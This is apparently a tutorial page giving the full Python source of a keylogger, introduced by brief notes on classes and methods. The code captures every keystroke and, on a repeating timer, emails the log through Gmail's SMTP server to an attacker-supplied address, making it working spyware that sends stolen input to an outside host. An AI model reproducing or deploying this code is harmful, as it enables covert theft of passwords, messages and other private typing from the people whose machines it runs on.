This script includes all methods and classes used by the keylogger.

  • Each function within a class is termed a method.
  • When instantiating an object instance as a class, automatically the methods are invoked and hence the first attribute of each method is named “self”.
  • Call objects defined within a class using : “self.obj”.
  • A Constructor is automatically executed when a class is created.
  • An Attribute is a variable that can be used within the whole class and by its respective methods. (This is a secure alternative to using global definitions.)

Code:

#!/usr/bin/env python

import pynput.keyboard
import threading
import smtplib
import argparse


def get_arguments():
    parser = argparse.ArgumentParser()
    parser.add_argument("-e", "--email", dest="email", help="Email-ID to recieve report")
    parser.add_argument("-t", "--time-interval", dest="interval", help="Time Interval to recieve report")
    parser.add_argument("-p", "--password", dest="password", help="Password for provided Email-ID")
    options = parser.parse_args()
    if not options.email:
        # code to handle error
        parser.error("\n[-] Please specify a valid Email-ID,  use --help for info.")
    if not options.interval:
        # code to handle error
        parser.error("\n[-] Please specify a valid Time Interval,  use --help for info.")
    if not options.password:
        # code to handle error
        parser.error("\n[-] Please specify a valid Password,  use --help for info.")
    return options

class Keylogger:
    # Constructor definition
    def __init__(self, time_interval, email, password):
        # Attribute definition
        self.log = "[!] Keylogger Started"
        self.interval = time_interval
        self.email = email
        self.password = password

    def append_to_log(self, string):
        self.log = self.log + string

    def process_key_press(self, key):
        try:
            current_key = str(key.char)
        except AttributeError:
            # Replace key.space as space
            if key == key.space:
                current_key = " "
            else:
                # Space special chars out
                current_key = " " + str(key) + " "
        self.append_to_log(current_key)


    # Recursive function
    def report(self):
        self.send_mail(self.email, self.password, "\n\n" + self.log)
        # Reset
        self.log = ""
        # Running timer on an alternate thread
        # Wait for 5 secs and report
        timer = threading.Timer(self.interval, self.report)
        timer.start()

    # Create SMTP server instance to send email
    def send_mail(self, email, password, message):
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.starttls()
        server.login(email, password)
        server.sendmail(email, email, message)
        server.quit()

    # Start keylogger
    def start(self):
        # Create instance
        keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
        # Start listener
        with keyboard_listener:
            self.report()
            keyboard_listener.join()

banner = """
    
|      ___           __   __   __   ___  __  
|__/ |__  \ / |    /  \ / _` / _` |__  |__) 
|  \ |___  |  |___ \__/ \__> \__> |___ |  \ 
                                            
[!] Keylogger Started >.<
  """